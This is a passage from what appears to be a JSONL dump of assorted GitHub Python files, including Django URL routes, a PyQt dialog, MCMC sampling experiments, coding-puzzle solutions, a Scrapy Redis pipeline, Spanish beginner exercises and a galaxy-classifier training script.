not in handlers\n\n\n \n","repo_name":"dev08math/dynamic-blog-api","sub_path":"core_apps/common/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23076121290","text":"from django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('',\n url(r'^all/$', 'trade.views.articles'),\n url(r'^get/(?P\\d+)/$',\n 'trade.views.article'),\n url(r'^language/(?P[a-z\\-]+)/%',\n 'trade.views.language'),\n url(r'^create/$', 'trade.views.create'),\n )\n","repo_name":"aijogja/Myton_Django_Project","sub_path":"trade/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34178122437","text":"from PyQt4.QtGui import QDialog, QLineEdit, \\\n QFormLayout, QPushButton, \\\n QHBoxLayout, QVBoxLayout\n\n\nclass ConfigDialog(QDialog):\n\n def __init__(self, parent, settings):\n super().__init__(parent)\n self.settings = settings\n self.setWindowTitle(\"Shampoo configuration\")\n self.resize(400, 100)\n\n main_layout = QVBoxLayout()\n\n layout = QFormLayout()\n\n self.openfoam_path = QLineEdit()\n self.openfoam_path.setText(settings.value(\"openfoam/path\"))\n layout.addRow(\"OpenFOAM path\", self.openfoam_path)\n\n b_layout = QHBoxLayout()\n b_layout.addStretch(1)\n\n button = QPushButton(\"Ok\")\n button.setDefault(True)\n button.clicked.connect(self.accept)\n b_layout.addWidget(button)\n\n\n main_layout.addLayout(layout)\n main_layout.addLayout(b_layout)\n self.setLayout(main_layout)\n\n def accept(self):\n self.settings.setValue(\"openfoam/path\", self.openfoam_path.text())\n super().accept()\n","repo_name":"spirali/shampoo","sub_path":"src/ui/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70319624883","text":"# Alanine dipeptide\n# Sample from the distribution of alanine dipeptide in an implicit solvent,\n# which is a molecule with 22 atoms\n\n# Libraries\nimport torch\nimport time\nimport pyro.ops.stats as stats\nfrom experiments.utils import set_seed, create_mcmc, algorithms_with_flow\nfrom models.aldp import make_nf, AldpBoltzmann, get_phi_psi\nfrom flow.normflows_wrappers import BaseDistributionWrapper, WrappedNormFlowModel\nfrom collections import OrderedDict\n\n# Make the target distribution\ndef make_target(device):\n ind_circ_dih = [0, 1, 2, 3, 4, 5, 8, 9, 10, 13, 15, 16]\n target = AldpBoltzmann(\n device=device,\n temperature=300,\n energy_cut=1e8,\n energy_max=1e20,\n n_threads=None,\n transform='internal',\n shift_dih=False,\n env='implicit',\n ind_circ_dih=ind_circ_dih,\n data_path='experiments/flow_approx/models/aldp/position_min_energy.pt'\n )\n target.to(device)\n return target\n\n# Make the flow\ndef make_flow(target, device, dim=60):\n ind_circ_dih = [0, 1, 2, 3, 4, 5, 8, 9, 10, 13, 15, 16]\n flow = make_nf(\n target=target,\n seed=0,\n ndim=dim,\n ind_circ_dih=ind_circ_dih,\n type='circular-coup-nsf',\n base={\n 'type' : 'gauss-uni',\n 'params' : None\n },\n blocks=12,\n actnorm=False,\n mixing=None,\n circ_shift='random',\n blocks_per_layer=1,\n hidden_units=256,\n num_bins=8,\n init_identity=True,\n dropout=0.\n )\n flow.to(device)\n return flow\n\n# Load custom weights\ndef load_custom_weights(flow, device, weight_filepath='experiments/flow_approx/models/aldp/flow_aldp.pt'):\n flow_weights = torch.load(weight_filepath, map_location=device)\n flow_weights = OrderedDict([(k.replace('_nf_model.',''),v) for k,v in flow_weights.items()])\n flow.load_state_dict(flow_weights)\n return flow\n\n# Make the proposal\ndef make_proposal(flow):\n return BaseDistributionWrapper(flow.q0)\n\n# Main experiment\ndef main(config, device, seed, save_samples=False):\n\n # Set the float type\n torch.set_default_dtype(torch.float64)\n\n # Set the dimension\n dim = 60\n\n # Make the target\n target = make_target(device)\n\n # Make the flow\n flow = make_flow(target, device)\n flow = load_custom_weights(flow, device)\n\n # Make the proposal\n proposal = make_proposal(flow)\n\n # Wrap the flow\n flow = WrappedNormFlowModel(flow)\n\n # Build the initial MCMC state\n start_orig = torch.load('experiments/flow_approx/models/aldp/init_points_aldp.pt', map_location=device)\n\n # Browse all methods\n for method_name, info in config['methods'].items():\n\n # Reset the seed\n set_seed(seed)\n\n # Show debug info\n print(\"============ {} =============\".format(method_name))\n\n # Create the MCMC sampler\n if (info['name'] in algorithms_with_flow) or info['neutralize']:\n flow_ = flow\n else:\n flow_ = None\n sampler = create_mcmc(info, dim, proposal, flow_)\n\n # Run the sampler\n s = time.time()\n samples = sampler.sample(\n x_s_t_0=start_orig.clone().to(device),\n n_steps=info['n_steps'],\n target=target.log_prob,\n warmup_steps=info['warmup_steps'],\n verbose=True\n ).detach()\n e = time.time()\n elapsed = e - s\n print(f\"Elapsed: {elapsed:.2f} s\")\n\n # Save elapsed time\n torch.save(torch.tensor(elapsed), '{}/elapsed_time_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\n # Compute and save ESS\n if info['name'] != 'adaptive_is':\n ess = stats.effective_sample_size(samples, chain_dim=0, sample_dim=1).cpu()\n ess_per_sec = ess / elapsed\n torch.save(ess.clone().cpu(), '{}/ess_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n torch.save(ess_per_sec.clone().cpu(), '{}/ess_per_sec_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\n # Compute the energy of the chains\n samples_shape = samples.shape\n samples = samples.view((-1, dim))\n if not sampler.has_diagnostics('weights'):\n energy = -target.log_prob(samples).mean()\n else:\n weights = sampler.get_diagnostics('weights').clone()\n energy = -(weights[:,None] * target.log_prob(samples)).sum() / weights.sum()\n torch.save(energy.clone().cpu(), '{}/energy_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\n # Save the samples\n if save_samples:\n # Save the samples\n torch.save(samples.clone().cpu(), '{}/samples_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n # Compute phi and psi\n phi, psi = get_phi_psi(samples.double(), target)\n # Reshape phi and psi\n phi, psi = phi.reshape((*samples_shape[:-1], -1)), psi.reshape((*samples_shape[:-1], -1))\n phi_psi = torch.stack([torch.from_numpy(phi), torch.from_numpy(psi)], dim=-1)\n # Save phi and psi\n torch.save(phi_psi.clone().cpu(), '{}/phi_psi_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n # Save the weights\n if sampler.has_diagnostics('weights'):\n torch.save(sampler.get_diagnostics('weights').clone().cpu(), '{}/weights_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\n # Save the MC ESS\n if sampler.has_diagnostics('ess'):\n mc_ess = sampler.get_diagnostics('ess')\n if isinstance(mc_ess, torch.Tensor):\n mc_ess = mc_ess.mean()\n else:\n mc_ess = torch.tensor(mc_ess)\n if info['neutralize']:\n N = sampler.inner_sampler.N\n else:\n N = sampler.N\n torch.save(mc_ess.clone().cpu() / N, '{}/mc_ess_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\n # Print and save the acceptance\n if sampler.has_diagnostics('local_acceptance'):\n local_acceptance = sampler.get_diagnostics('local_acceptance')\n if isinstance(local_acceptance, torch.Tensor):\n local_acceptance = local_acceptance.mean()\n else:\n local_acceptance = torch.tensor(local_acceptance)\n print('local acceptance (mean) = {:.2f}%'.format(100 * float(local_acceptance)))\n torch.save(local_acceptance.clone().cpu(), '{}/acceptance_local_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n if sampler.has_diagnostics('global_acceptance'):\n global_acceptance = sampler.get_diagnostics('global_acceptance')\n if isinstance(global_acceptance, torch.Tensor):\n global_acceptance = global_acceptance.mean()\n else:\n global_acceptance = torch.tensor(global_acceptance)\n print('global acceptance (mean) = {:.2f}%'.format(100 * float(global_acceptance)))\n torch.save(global_acceptance.clone().cpu(), '{}/acceptance_global_{}_{}.pt'.format(config['save_path'], info['save_name'], seed))\n\nif __name__ == \"__main__\":\n # Libraries\n import argparse\n import yaml\n # Parse the arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"config\")\n parser.add_argument('--seed', type=int)\n parser.add_argument('--save_samples', action=argparse.BooleanOptionalAction)\n args = parser.parse_args()\n # Freeze the seed\n set_seed(args.seed)\n # Load the config\n with open(args.config, 'r') as f:\n config = yaml.safe_load(f)\n # Get the Pytorch device\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n # Run the experiment\n main(config, device, args.seed, save_samples=args.save_samples)\n","repo_name":"h2o64/flow_mcmc","sub_path":"experiments/flow_approx/aldp.py","file_name":"aldp.py","file_ext":"py","file_size_in_byte":7857,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"28974946824","text":"from collections import defaultdict\n\n\nclass Solution:\n def possibleBipartition(self, n: int, dislikes: list[list[int]]) -> bool: # noqa\n lst = defaultdict(list)\n for a, b in dislikes:\n lst[a].append(b)\n lst[b].append(a)\n\n color = {}\n\n def dfs(node: int, c=1) -> bool:\n if node in color:\n return color[node] == c\n color[node] = c\n # for nei in lst[node]:\n # if not dfs(nei, c ^ 1): # 邻居按另一种颜色\n # return False\n # return True\n return all(dfs(nei, c ^ 1) for nei in lst[node])\n\n # for node_ in range(1, n + 1):\n # if node_ not in color and not dfs(node_, 0): # 新的连通分量\n # return False\n # return True\n return all(dfs(node_, 0) for node_ in range(1, n + 1) if node_ not in color)\n\n\nif __name__ == \"__main__\":\n s = Solution()\n y = s.possibleBipartition(4, [[1, 2], [1, 3], [2, 4]])\n print(y)\n","repo_name":"scolphew/leetcode_python","sub_path":"leetcode/_886_PossibleBipartition.py","file_name":"_886_PossibleBipartition.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14176503771","text":"\nfrom collections import defaultdict, deque\nimport re \nfrom pprint import pprint\n\n\ndef get_bags_count(file_name):\n # parent -> children count\n p2cs = defaultdict(dict)\n\n with open(file_name) as f:\n for line in f:\n line = line.strip()\n if not line:\n continue\n # print('line: ', line)\n\n parent, children = line.split('contain')\n parent = parent.strip().replace('bags', '').replace('bag', '').strip()\n\n if 'no other' in children:\n p2cs[parent] = {}\n\n targets = re.findall(r'(\\d+) ([a-z ]+)[^bag]', children) \n if targets:\n for t in targets:\n # print('t: ', t)\n cnt, child = t\n child = child.replace('bags', '').replace('bag', '').strip()\n p2cs[parent][child] = int(cnt) \n # print(p2cs)\n\n root = 'shiny gold'\n\n def get_color_cnt(color, color_cnt):\n if color not in p2cs:\n return 0\n if color in p2cs and not p2cs[color]:\n return 1 * color_cnt\n\n ans = color_cnt\n for child, child_cnt in p2cs[color].items():\n # print('child: ', child, child_cnt)\n ans += color_cnt * get_color_cnt(child, child_cnt)\n\n return ans\n\n root_cnt = get_color_cnt(root, 1) - 1\n print('root_cnt: ', root_cnt)\n return root_cnt\n\n\nc1 = get_bags_count('input1')\nc2 = get_bags_count('input2')\nc = get_bags_count('input')\n\n'''\n('root_cnt: ', 32)\n('root_cnt: ', 126)\n('root_cnt: ', 5312)\n'''\n\n\n","repo_name":"lixiang2017/leetcode","sub_path":"adventofcode/2020/day7/part2/shiny_gold2.py","file_name":"shiny_gold2.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13632940696","text":"import re\n\nfrom fastapi import status\nfrom fastapi.testclient import TestClient\n\nfrom app.main import app\n\nclient = TestClient(app)\n\n\ndef test_get_redoc_documentation():\n response = client.get(\"/\")\n assert response.status_code == status.HTTP_200_OK\n assert (\n re.search(\"(.*)\", response.text, re.IGNORECASE)[1]\n == \"OverFast API - Documentation\"\n )\n\n\ndef test_get_swagger_documentation():\n response = client.get(\"/docs\")\n assert response.status_code == status.HTTP_200_OK\n assert (\n re.search(\"(.*)\", response.text, re.IGNORECASE)[1]\n == \"OverFast API - Documentation\"\n )\n","repo_name":"TeKrop/overfast-api","sub_path":"tests/views/test_documentation_route.py","file_name":"test_documentation_route.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"75"} +{"seq_id":"21753276052","text":"# keep only cell lines included in scRNA, CCLE, PRISM primary dataset\n#in_BRCA_cellLines = [\"HCC1428\", \"HDQP1\", \"EFM192A\", \"HCC38\", \"MDAMB436\", \"ZR751\", \"BT474\", \"HMC18\", \"HCC1419\", \"BT549\", \"MCF7\", \"T47D\", \"CAMA1\"]\nin_cell_lines = \"/home/yuching/projects/drugResponse/data/scRNA/scRNA_cell_lines.txt\"\nin_path = \"/home/yuching/projects/drugResponse/data/scRNA/preprocessing_onlyNormalized/by_cancertypes_all_cell_lines/\"\nout_path = \"/home/yuching/projects/drugResponse/data/scRNA/preprocessing_onlyNormalized/by_cancertypes_selected_cell_lines/\"\ncell_type_suffix = \"_celltypes.txt\"\ncount_suffix = \"_norm_counts_all.txt\"\n\nimport os\n\nall_files = os.listdir(in_path)\n\n# cancertype_cell_dict: key: cancer types, value: list of cell lines\nf_cell = open(in_cell_lines)\nlines = f_cell.readlines()\nheader = lines[0]\nlines = lines[1:]\ncancertype_cell_dict = {}\nfor line in lines:\n cols = line.strip(\"\\n\").split(\"\\t\")\n cancer_type = cols[1]\n cell_line = cols[2]\n if cancer_type in cancertype_cell_dict.keys():\n old_list = cancertype_cell_dict[cancer_type]\n old_list.append(cell_line)\n old_list = list(set(old_list))\n cancertype_cell_dict[cancer_type] = old_list\n else:\n cancertype_cell_dict[cancer_type] = [cell_line]\nf_cell.close()\n\ndef filterCellLines(inCelltypes, inCounts, outCelltypes, outCounts, includeCells):\n # cell lines data by cancer type\n fout_cell_types = open(outCelltypes, \"w\")\n f_cell_types = open(inCelltypes)\n lines = f_cell_types.readlines()\n header = lines[0]\n fout_cell_types.write(header)\n lines = lines[1:]\n included_idx_list = []\n for line in lines:\n cols = line.strip(\"\\n\").split(\"\\t\")\n idx = cols[0]\n cell_line = cols[1].split(\"_\")[0]\n if cell_line in includeCells:\n fout_cell_types.write(idx + \"\\t\" + cell_line + \"\\n\")\n included_idx_list.append(idx)\n fout_cell_types.close()\n f_cell_types.close()\n # count data by cancer type\n fout_counts = open(outCounts, \"w\")\n f_counts = open(inCounts)\n lines = f_counts.readlines()\n header = lines[0]\n fout_counts.write(header)\n lines = lines[1:]\n for line in lines:\n cols = line.strip(\"\\n\").split(\"\\t\")\n idx = cols[0]\n if idx in included_idx_list:\n fout_counts.write(line)\n fout_counts.close()\n f_counts.close()\n\nfor cancer_type in cancertype_cell_dict.keys():\n cancer_type_prefix = cancer_type\n if \" \" in cancer_type:\n cancer_type_prefix = cancer_type_prefix.replace(\" \", \"_\")\n if \"/\" in cancer_type:\n cancer_type_prefix = cancer_type_prefix.replace(\"/\", \"_\")\n temp = cancer_type_prefix + cell_type_suffix\n if temp in all_files:\n in_cell_type_file = in_path + cancer_type_prefix + cell_type_suffix\n in_count_file = in_path + cancer_type_prefix + count_suffix\n out_cell_type_file = out_path + cancer_type_prefix + cell_type_suffix\n out_count_file = out_path + cancer_type_prefix + count_suffix\n include_cell_line_list = cancertype_cell_dict[cancer_type]\n print(out_cell_type_file)\n print(include_cell_line_list)\n filterCellLines(in_cell_type_file, in_count_file, out_cell_type_file,out_count_file,include_cell_line_list)\n","repo_name":"ychsu2014/pan-cancer_drug_response_prediction_through_tumor_deconvolution_by_cancer_cell_lines","sub_path":"2-5.scRNA_include_PRISM_scRNA_CCLE_overlapped_cellLines.py","file_name":"2-5.scRNA_include_PRISM_scRNA_CCLE_overlapped_cellLines.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1443356417","text":"from scrapy.utils.serialize import ScrapyJSONEncoder\nfrom scrapy.exceptions import NotConfigured\n\n\nclass RedisListPipeline:\n\n DEFAULT_QUEUE = 'queue'\n DEFAULT_MAX_RETRY = 5\n\n serializer = ScrapyJSONEncoder().encode\n\n def __init__(self, conn_url: str, queue: str, max_retry=None):\n try:\n import redis\n except ImportError:\n raise NotConfigured('missing redis library')\n self._conn = redis.from_url(conn_url)\n self.queue = queue or self.DEFAULT_QUEUE\n self.max_retry = max_retry or self.DEFAULT_MAX_RETRY\n\n @classmethod\n def from_crawler(cls, crawler):\n if hasattr(crawler.spider, 'queue'):\n queue = crawler.spider.queue\n else:\n queue = crawler.settings.get('REDIS_DEFAULT_QUEUE')\n return cls(\n conn_url=crawler.settings.get('REDIS_CONNECTION_URL'),\n queue=queue,\n max_retry=crawler.settings.get('REDIS_MAX_RETRY')\n )\n\n def process_item(self, item, spider):\n data = self.serializer(item)\n try_time = 0\n while try_time < self.max_retry:\n try:\n self._conn.rpush(self.queue, data)\n return item\n except Exception:\n spider.logger.error('process item failed {}'.format(item))\n try_time += 1\n spider.logger.error('Give up item for failed {} times {}'.format(try_time, item))\n return item\n\n def close(self):\n self._conn.close()\n","repo_name":"wwtg99/scrapy-accessory","sub_path":"scrapy_accessory/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29007041283","text":"import cal\n\na=input(\"wts ur firstname\")\nb=input(\"wts your lastname\")\nprint(\"Name:{0} {1}\".format(a,b))\n\ns=cal.take_salary()\nu=cal.HRA(s)\nv=cal.DA(s)\nw=cal.Bonus(s)\n\ntotalsal=float(s)+float(u)+float(v)+float(w)\nprint(\"Your Total salary =\",totalsal)\n","repo_name":"rishi0600/python_lilly_project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9278231585","text":"#Lockie Sainsbury\r\n#Cacultion of variables, farming of labels, data in context\r\n\r\n#problem 01\r\n#This problem is designed to track and total goals by scots #rd XI for each game played\r\n\r\nmatch1_ST_Pats = 7\r\nmatch2_Well_college = 5 \r\nmatch3_Well_High = 10\r\nTeam_total = match1_ST_Pats + match2_Well_college + match3_Well_High\r\nprint (\"total Goals scored \", Team_total)","repo_name":"Lockie42/10dt-python","sub_path":"lesson 2/problem 1.py","file_name":"problem 1.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72840634481","text":"'''\nmin f(x1, x2, x3) = x1^2 + x2^2 + x3^2\ns.t.\n x1*x2 >= 1\n x1*x2 <= 5\n x2 + x3 = 1\n 0 <= x1, x2, x3 <= 5\n'''\n#这个代码示意了利用差分进化算法(Differential Evolution,DE),求解函数最优值\n#用途:用于求解连续最优化变量\n\n\ndef obj_func(p):\n x1, x2, x3 = p\n return x1 ** 2 + x2 ** 2 + x3 ** 2\n # return -x1**2 - x2 **2 - x3**2 如果最大化可以采用这种方式\n\nconstraint_eq = [\n lambda x: 1 - x[1] - x[2]\n]\n\nconstraint_ueq = [\n lambda x: 1 - x[0] * x[1],\n lambda x: x[0] * x[1] - 5\n] #这里输入的是<=的不等式\n\nfrom sko.DE import DE\n\nde = DE(func=obj_func, n_dim=3, size_pop=50, max_iter=1000, lb=[0, 0, 0], ub=[5, 5, 5],\n constraint_eq=constraint_eq, constraint_ueq=constraint_ueq)\n#这里需要对这个函数的参数做出解释\n# func= 自定义函数名\n# n_dim = 自变量维度\n# size_pop= 初始化种群数\n# max_iter= 最大迭代次数\nbest_x, best_y = de.run()\nprint('best_x:', best_x, '\\n', 'best_y:', best_y)\n\n\n\n","repo_name":"xp19991205/optimation","sub_path":"DE.py","file_name":"DE.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29868446464","text":"x = 8\ny = x\n\nx = \"test\"\n\nlista_1 = [9, 8, 7]\nlista_2 = lista_1\nlista_1[2] = 5\n\nz = 35\ntype(z)\nz = \"ahora es una cadena de texto\"\n\nnum_entero = 8\nnum_negativo = -78\nnum_real = 4.5\nnum_complejo = 3.2 + 7j\nnum_complex = 5J + 3\nnum_real = 0.5e-7\nnum_binario = 0b111\nnum_octal = 0o10\nnum_hex = 0xff\n\nabs(-47, 67)\n\nimport math\nmath.sqrt(169)\n\nhex(16)\noct(8)\nbin(0xfe)\n\nconjunto = set('846')\nconjunto = {8, 4, 6}\nconjunto_2 = set('785')\nconjunto & conjunto_2\nconjunto.intersection(conjunto_2)\n\nduplicados = {2, 3, 6, 7, 6, 8, 2, 1}\n\ncadena = \"esto es una cadena de texto\"\ncad_multiple = \"\"\"Esta cadena de texto\ntiene más de una línea. En concreto, cuenta\ncon tres líneas diferentes\"\"\"\n\ncad = b\"cadena de tipo byte\"\ntype(cad)\nlat = bytearray(\"España\", 'latin1')\nprint(lat)\nbytearray(\"España\", \"utf16\")\ncadena = \"comprobando el tipo str\"\ntype(cadena)\n\ncad = \"es de tipo str\"\ncad.encode()\ncad = b\"es de tipo byte\"\ncad.decode()\n\ncad = \"Cadena de texto de ejemplo\"\nlen(cad)\ncad =\"xyza\"\ncad.find(\"y\")\ncad = \"Hola Mundo\"\ncad.replace(\"Hola\", \"Adiós\")\ncad = \" cadena con espacios en blanco \"\ncad.strip()\ncad.lstrip()\ncad.rstrip()\ncad2 = cad.upper()\nprint(cad2)\nprint(cad3.lower())\ncad = \"un ejemplo\"\ncad.capitalize()\ncad = \"primer valor;segundo;tercer valor\"\ncad.split(\";\")\n\n\"abc\".join(',')\n\ncad_concat = \"Hola\" + \" Mundo!\"\nprint(cad_concat)\n\n\"Hola \" + cad2 + \". Otra \" + cad3\n\"Hola {0}. Otra {1}\".format(cad2, cad3)\n\"Hola {cad2}. Otra {cad3}\".format(cad2=cad2, cad3=cad3)\n\nnum = 3\n\"Número: \" + str(num)\n\nprint(\"Hola Mundo\" * 4)\n\ncad = \"Nueva cadena de texto\"\n\"x\" in cad\n\ncad = \"Cadenas\"\nprint(cad[2])\n\nprint(cad[:3])\ncad[-2]\ncad[3:]\n\nt = (1, 'a', 3.5)\nt[1]\nt = (1, 3, 'c', )\nt = (1, ('a', 3), 5.6)\n\nfor ele in t:\n print(ele)\n\n('r', 2) * 3\n('r', 2, 'r', 2, 'r', 2)\n\nt = (1, 3, 7)\nt.index(3)\nt = (1, 3, 1, 5, 1,)\nt.count(1)\n\nlista = []\nli = [2, 'a', 4]\n\nfor ele in li:\n print(ele)\n\nli[1] = 'b'\nli[2]\n'a' in li\ntuple(li)\nli.append('nuevo')\nli[4] = 23\nli.insert(3, 'c')\nli.insert(12, 'c')\nli.insert(0, 'd')\nli\n['d', 2, 'a', 4]\ndel(li[1])\nlen(li)\nli.remove('d')\n\nlista = [3, 1, 9, 8, 7]\nsorted(lista)\nsorted(lista, reverse=True)\nlista\nlista.sort()\nlista\n\nlis = ['aA', 'Ab', 'Cc', 'ca']\nsorted(lis)\nsorted(lis, key=str.lower)\n\nlista.reverse()\nlista\n\nlis = ['be', 'ab', 'cc', 'aa', 'cb']\nlis.sort()\nlis\n\nlista = [ele for ele in (1, 2, 3)]\nprint(lista)\nlista = []\nfor ele in (1, 2, 3):\n lista.append(ele)\n\nmatriz = [[1, 2, 3],[4, 5, 6]]\nmatriz[0][1]\nmatriz[0][1] = 33\n\ndiccionario = {'a': 1, 'b': 2, 'c': 3}\ndiccionario = dict(a=1, b=2, c=3)\ndiccionario['c']\ndiccionario['b'] = 28\ndiccionario['d'] = 4\n\nfor k, v in diccionario.items():\n print(\"clave={0}, valor={1}\".format(k, v))\nfor k in diccionario.keys():\n print(\"clave={0}\".format(k))\nfor v in diccionario.values():\n print(\"valor={0}\".format(v))\nfor k in diccionario:\n print(k)\nlist(diccionario.keys())\nlist(diccionario.items())\ndel(diccionario['b'])\n\n{k: k+1 for k in (1, 2, 3)}\n{clave: 1 for clave in ['x', 'y', 'z']}\n\nsorted(diccionario)\nsorted(diccionario, reverse=True)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ja12as/Ejercicios-de-python-basicos","sub_path":"Python_3/capitulo02.py","file_name":"capitulo02.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41780476617","text":"\nimport argparse\nimport datetime\nimport numpy as np\nimport time\nimport torch\nimport torch.backends.cudnn as cudnn\nimport json\nimport os\nfrom pathlib import Path\n# import se_resnet\n\nfrom timm.scheduler import create_scheduler\nfrom timm.optim import create_optimizer\nfrom timm.utils import NativeScaler\nimport torchvision.datasets as datasets\n# from datasets import build_dataset\nfrom engine import train_one_epoch, evaluate\nfrom samplers import RASampler\n\nimport utils\nimport models.han_dcn as han_dcn\n# from models import models_compare \n\nimport torchvision.transforms as transforms\ndef get_args_parser():\n parser = argparse.ArgumentParser('training and evaluation script', add_help=False)\n parser.add_argument('--batch-size', default=64, type=int)\n parser.add_argument('--epochs', default=100, type=int)\n\n # Model parameters\n parser.add_argument('--model', default='resnet_HAN_DCN', type=str, metavar='MODEL',\n help='Name of model to train')\n parser.add_argument('--input-size', default=224, type=int, help='images input size')\n\n # parser.add_argument('--drop', type=float, default=0.0, metavar='PCT',\n # help='Dropout rate (default: 0.)')\n # parser.add_argument('--drop-path', type=float, default=0.1, metavar='PCT',\n # help='Drop path rate (default: 0.1)')\n\n\n # Optimizer parameters\n parser.add_argument('--opt', default='adam', type=str, metavar='OPTIMIZER',\n help='Optimizer (default: \"adamw\"')\n parser.add_argument('--opt-eps', default=1e-8, type=float, metavar='EPSILON',\n help='Optimizer Epsilon (default: 1e-8)')\n parser.add_argument('--opt-betas', default=None, type=float, nargs='+', metavar='BETA',\n help='Optimizer Betas (default: None, use opt default)')\n parser.add_argument('--clip-grad', type=float, default=None, metavar='NORM',\n help='Clip gradient norm (default: None, no clipping)')\n # parser.add_argument('--momentum', type=float, default=0.9, metavar='M',\n # help='SGD momentum (default: 0.9)')\n parser.add_argument('--weight-decay', type=float, default=0.05,\n help='weight decay (default: 0.05)')\n\n # Learning rate schedule parameters\n parser.add_argument('--sched', default='cosine', type=str, metavar='SCHEDULER',\n help='LR scheduler (default: \"cosine\"')\n parser.add_argument('--lr', type=float, default=5e-4, metavar='LR',##5e-4\n help='learning rate (default: 5e-4)')\n parser.add_argument('--lr-noise', type=float, nargs='+', default=None, metavar='pct, pct',\n help='learning rate noise on/off epoch percentages')\n parser.add_argument('--lr-noise-pct', type=float, default=0.67, metavar='PERCENT',\n help='learning rate noise limit percent (default: 0.67)')\n parser.add_argument('--lr-noise-std', type=float, default=1.0, metavar='STDDEV',\n help='learning rate noise std-dev (default: 1.0)')\n parser.add_argument('--warmup-lr', type=float, default=1e-6, metavar='LR',\n help='warmup learning rate (default: 1e-6)')\n parser.add_argument('--min-lr', type=float, default=1e-5, metavar='LR',\n help='lower lr bound for cyclic schedulers that hit 0 (1e-5)')\n\n parser.add_argument('--decay-epochs', type=float, default=30, metavar='N',\n help='epoch interval to decay LR')\n parser.add_argument('--warmup-epochs', type=int, default=5, metavar='N',\n help='epochs to warmup LR, if scheduler supports')\n parser.add_argument('--cooldown-epochs', type=int, default=10, metavar='N',\n help='epochs to cooldown LR at min_lr, after cyclic schedule ends')\n parser.add_argument('--patience-epochs', type=int, default=10, metavar='N',\n help='patience epochs for Plateau LR scheduler (default: 10')\n parser.add_argument('--decay-rate', '--dr', type=float, default=0.1, metavar='RATE',\n help='LR decay rate (default: 0.1)')\n\n\n parser.add_argument('--repeated-aug', action='store_true')\n parser.add_argument('--no-repeated-aug', action='store_false', dest='repeated_aug')\n parser.set_defaults(repeated_aug=True)\n\n\n parser.add_argument('--data-path', default='/mnt/storage-ssd/luwei/new_dataset/dataset_legacy_7class_5.14', type=str,\n help='dataset path')\n parser.add_argument('--data-set', default='galaxy', choices=['galaxy'],\n type=str, help='Image Net dataset path')\n\n parser.add_argument('--output_dir', default='/mnt/storage-ssd/luwei/gz2_dcn_final/ck_5.20/lam_2',\n help='path where to save, empty for no saving')\n parser.add_argument('--device', default='cuda',\n help='device to use for training / testing')\n parser.add_argument('--seed', default=0, type=int)\n parser.add_argument('--resume', default='', help='resume from checkpoint')\n parser.add_argument('--start_epoch', default=0, type=int, metavar='N',\n help='start epoch')\n parser.add_argument('--eval', action='store_true', help='Perform evaluation only')\n parser.add_argument('--dist-eval', action='store_true', default=False, help='Enabling distributed evaluation')\n parser.add_argument('--num_workers', default=10, type=int)\n parser.add_argument('--pin-mem', action='store_true',\n help='Pin CPU memory in DataLoader for more efficient (sometimes) transfer to GPU.')\n parser.add_argument('--no-pin-mem', action='store_false', dest='pin_mem',\n help='')\n parser.set_defaults(pin_mem=True)\n\n # distributed training parameters\n parser.add_argument('--world_size', default=1, type=int,\n help='kernel size ')\n parser.add_argument('--dist_url', default='env://', help='url used to set up distributed training')\n\n\n return parser\n\n\ndef main(args):\n utils.init_distributed_mode(args)\n\n print(args)\n\n device = torch.device(args.device)\n\n # fix the seed for reproducibility\n seed = args.seed + utils.get_rank()\n torch.manual_seed(seed)\n np.random.seed(seed)\n random.seed(seed)\n\n cudnn.benchmark = True\n\n\n transform_train = transforms.Compose([\n transforms.CenterCrop(180),\n transforms.Resize(112),\n # transforms.RandomResizedCrop(112, scale=(0.2, 1.0), interpolation=3), \n transforms.ColorJitter(brightness=0.4, contrast=0.4, saturation=0.4, hue=0.2),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.18334192, 0.17221707, 0.16791163],[0.15241465, 